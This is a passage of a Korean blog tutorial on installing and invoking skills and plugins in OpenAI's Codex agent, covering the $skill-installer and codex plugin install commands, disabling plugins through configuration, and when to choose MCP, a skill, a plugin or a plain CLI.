&lt;p style=&quot;margin: 12px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Codex가 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;$skill-installer&lt;/code&gt; 명령을 대신 실행해 Skill을 설치한다. 설치 후 Codex를 재시작해야 새 Skill이 인식된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) gh-fix-ci 스킬 설치해줘&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 중간에 네트워크 오류가 있었는데 의도를 파악하고 다른 방법으로 설치 시도 하는 과정도 공유&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbHSZr/dJMcahqSyJt/ZbKY7Dzj1kLRdF0xbJcZJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbHSZr/dJMcahqSyJt/ZbKY7Dzj1kLRdF0xbJcZJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbHSZr/dJMcahqSyJt/ZbKY7Dzj1kLRdF0xbJcZJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbHSZr%2FdJMcahqSyJt%2FZbKY7Dzj1kLRdF0xbJcZJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1748&quot; height=&quot;190&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFDYBS/dJMcaciJQ4l/zRJdumuDbVMbNdaJK9r9s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFDYBS/dJMcaciJQ4l/zRJdumuDbVMbNdaJK9r9s0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFDYBS/dJMcaciJQ4l/zRJdumuDbVMbNdaJK9r9s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFDYBS%2FdJMcaciJQ4l%2FzRJdumuDbVMbNdaJK9r9s0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1214&quot; height=&quot;464&quot; data-origin-width=&quot;1214&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;&lt;b&gt;수동 설치 (CLI)&lt;/b&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 12px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# openai/skills 큐레이션 목록에서 이름으로 설치
$skill-installer gh-fix-ci

# GitHub URL로 직접 지정 (서드파티 저장소 등)
$skill-installer install https://github.com/&amp;lt;owner&amp;gt;/&amp;lt;repo&amp;gt;/tree/main/&amp;lt;skill-path&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;큐레이션 Skill&lt;/b&gt;: 이름만으로 설치 가능. &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;openai/skills/skills/.curated/&lt;/code&gt;에 등록된 목록만 이름으로 찾는다. 목록에 없는 이름을 지정하면 설치에 실패한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 Skill&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/ComposioHQ/awesome-codex-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ComposioHQ/awesome-codex-skills&lt;/a&gt;에서 추가 목록을 찾을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오픈 스탠더드&lt;/b&gt;: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;는 Agent Skills 공개 표준 스펙 사이트다. 특정 플랫폼에 종속되지 않는 Skill 포맷의 기준을 정의한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #17a2b8; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치 전에 목록 먼저 보기&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 세션 안에서 자연어로 목록을 요청하면 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;$skill-installer&lt;/code&gt;가 큐레이션 목록을 나열해 준다. &lt;br /&gt;이름을 확인한 뒤 설치하는 게 실패 없이 설치하는 가장 확실한 방법이다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px 16px; border-radius: 6px; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 10px 0 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;설치 가능한 Skills 목록 보여줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 설치 가능한 Skills 목록 보여줘.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;1210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfPyqH/dJMcabjUuOS/WRVYEvSEyztkiR2Yvl0UI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfPyqH/dJMcabjUuOS/WRVYEvSEyztkiR2Yvl0UI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfPyqH/dJMcabjUuOS/WRVYEvSEyztkiR2Yvl0UI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfPyqH%2FdJMcabjUuOS%2FWRVYEvSEyztkiR2Yvl0UI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;1210&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;1210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- pdf 플러그인 설치해줘&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by4mZa/dJMcaiwvOJ0/5SPJsqsaNzMllJqn5CglEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by4mZa/dJMcaiwvOJ0/5SPJsqsaNzMllJqn5CglEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by4mZa/dJMcaiwvOJ0/5SPJsqsaNzMllJqn5CglEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby4mZa%2FdJMcaiwvOJ0%2F5SPJsqsaNzMllJqn5CglEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;1512&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;1512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Plugins &amp;mdash; 배포와 실제 설치&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 Plugin은 배포와 조합에 강하다&lt;/h3&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Plugin은 Skill 하나만 담을 수도 있지만, app integration이나 MCP server까지 함께 묶을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서는 Plugin 호출 방식을 implicit invocation과 explicit invocation으로 나눈다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;implicit invocation&lt;/b&gt;은 사용자가 원하는 결과를 자연어로 설명하면 Codex가 등록된 Skill&amp;middot;Plugin 중 적절한 걸 자동 선택하는 방식이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;explicit invocation&lt;/b&gt;은 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;@plugin-name&lt;/code&gt; 또는 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;@skill-name&lt;/code&gt; 형식으로 사용자가 직접 지정하는 방식이다. Skill이 두 개 이상 겹치는 환경에서는 explicit이 결과 예측에 유리하다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;비활성화도 설정으로 제어할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;[plugins.&quot;gmail@openai-curated&quot;]
enabled = false&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;팀에서 특정 플러그인을 임시로 막아야 할 때 삭제보다 비활성화가 더 관리하기 쉽다. 나중에 다시 켤 수 있고, 왜 꺼두었는지도 설정 파일에서 추적할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plugin이 빛을 보는 순간&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;새로 합류한 팀원이 첫 번째 PR을 올리기 전 Codex 환경을 갖추는 시간을 줄이고 싶을 때.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;조직 단위로 동일한 MCP&amp;middot;Skill 묶음을 쓰게 만들어 결과 편차를 줄이고 싶을 때.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;사내 도구(Jira, Notion, 사내 wiki)용 MCP 서버와 그걸 쓰는 Skill을 한 번에 배포하고 싶을 때.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 24px; border-radius: 12px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;&lt;b&gt;비교 &amp;mdash; Skill 호출: 암묵적 vs 명시적&lt;/b&gt;
&lt;div style=&quot;display: flex; gap: 16px; margin-top: 14px; flex-wrap: wrap;&quot;&gt;
&lt;div style=&quot;flex: 1; min-width: 200px; background: #fff5f5; padding: 14px 16px; border-radius: 8px; border-left: 4px solid #e53e3e;&quot;&gt;&lt;b&gt;❌ 이렇게 하면&lt;/b&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px 14px; border-radius: 6px; font-size: 12px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;codex &quot;릴리스 노트 작성해줘&quot;
# Skill이 여러 개일 때 어느 Skill을
# 써야 할지 Codex가 추측해야 한다.
# 결과가 매번 달라질 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1; min-width: 200px; background: #f0fff4; padding: 14px 16px; border-radius: 8px; border-left: 4px solid #38a169;&quot;&gt;&lt;b&gt;✅ 이렇게 하면&lt;/b&gt;
&lt;pre class=&quot;nginx&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px 14px; border-radius: 6px; font-size: 12px; margin: 10px 0 0; overflow-x: auto; white-space: pre-wrap;&quot;&gt;&lt;code&gt;codex &quot;@gh-fix-ci PR #42 CI 실패 수정해줘&quot;
# @로 Skill을 명시하면 항상 같은
# 절차로 실행된다. 결과가 일관된다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;Skill이 두 개 이상 등록된 환경에서는 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;@skill-name&lt;/code&gt;으로 명시하는 것이 암묵적 선택보다 결과를 예측하기 쉽다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvEHUa/dJMcabEaBwQ/6oXwKmSpWoQrrUVKqDH090/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvEHUa/dJMcabEaBwQ/6oXwKmSpWoQrrUVKqDH090/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvEHUa/dJMcabEaBwQ/6oXwKmSpWoQrrUVKqDH090/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvEHUa%2FdJMcabEaBwQ%2F6oXwKmSpWoQrrUVKqDH090%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1058&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추천 Plugin 3종&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 18px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 29.0698%;&quot;&gt;Plugin&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 46.1628%;&quot;&gt;한 줄 용도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; color: #1a3a52; width: 24.6512%;&quot;&gt;공식 docs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 29.0698%;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gmail@openai-curated&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 46.1628%;&quot;&gt;Gmail 연동 (공식 예시)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 24.6512%;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Plugins 공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 29.0698%;&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;github-tools&lt;/code&gt; (사내 템플릿)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 46.1628%;&quot;&gt;GitHub MCP + PR Skill 번들 사내 배포 (&lt;b&gt;가상 예시&lt;/b&gt;)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 24.6512%;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 29.0698%;&quot;&gt;기타 curated Plugin&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 46.1628%;&quot;&gt;OpenAI curated Plugin 목록 참고&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #d8e6f3; padding: 10px; width: 24.6512%;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Plugins 공식 문서&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 Plugin 설치 &amp;mdash; 자연어와 수동 명령&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #17a2b8; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Gmail, Slack, Figma, Playwright, Sentry는 Codex에 기본 탑재되어 있어 별도 설치 없이 바로 쓸 수 있다. 그 외 Plugin은 아래 명령으로 설치한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;&lt;b&gt;자연어 설치 (Codex 세션 안에서)&lt;/b&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 12px 0 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&quot;github-tools 플러그인 설치해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;Codex가 &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex plugin install&lt;/code&gt; 명령을 대신 실행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;&lt;b&gt;수동 설치 (CLI)&lt;/b&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 12px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 공식 큐레이션 Plugin 설치
codex plugin install gmail@openai-curated
codex plugin install github-tools

# 커뮤니티 마켓플레이스 등록 후 설치
codex plugin marketplace add owner/repo [--ref main]
codex plugin install &amp;lt;plugin-name&amp;gt; --source &amp;lt;marketplace&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;margin: 8px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;@openai-curated&lt;/b&gt;: OpenAI가 공식 관리하는 Plugin 소스. 신뢰 경계가 명확하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;marketplace add&lt;/b&gt;: 팀 내부나 커뮤니티 저장소를 소스로 등록한 뒤 설치할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비활성화&lt;/b&gt;: &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;[plugins.&quot;gmail@openai-curated&quot;] enabled = false&lt;/code&gt;로 삭제 없이 끌 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f3f0ff; border-left: 4px solid #9c27b0; padding: 14px 16px; margin: 18px 0; border-radius: 6px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP vs CLI &amp;mdash; 2026년 커뮤니티 정리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;stdio MCP(로컬 프로세스)는 대부분 CLI + Skill로 대체 가능하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;HTTP MCP(원격 서버)는 인증 중앙화&amp;middot;텔레메트리 필요 시 게임 체인저다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;원격 실행은 MCP, 로컬 실행은 Skills&quot; &amp;mdash; @m00nlygreat (GeekNews, 2026-03)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 정리와 의사결정 트리&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1zIj9/dJMcacQBejH/TRto6G4YuJA4f72UWzxTY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1zIj9/dJMcacQBejH/TRto6G4YuJA4f72UWzxTY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1zIj9/dJMcacQBejH/TRto6G4YuJA4f72UWzxTY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1zIj9%2FdJMcacQBejH%2FTRto6G4YuJA4f72UWzxTY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1090&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 14px 16px; margin: 18px 0; border-radius: 6px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한 줄 의사결정 트리&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;외부 도구 1회만? &amp;rarr; &lt;b&gt;MCP&lt;/b&gt; &amp;nbsp;|&amp;nbsp; 같은 작업 반복? &amp;rarr; &lt;b&gt;Skill&lt;/b&gt; &amp;nbsp;|&amp;nbsp; 팀 전체 배포? &amp;rarr; &lt;b&gt;Plugin&lt;/b&gt; &amp;nbsp;|&amp;nbsp; &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 1px 4px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gh &amp;middot; aws &amp;middot; kubectl&lt;/code&gt; 있음? &amp;rarr; &lt;b&gt;그냥 CLI&lt;/b&gt;&lt;/p&gt;
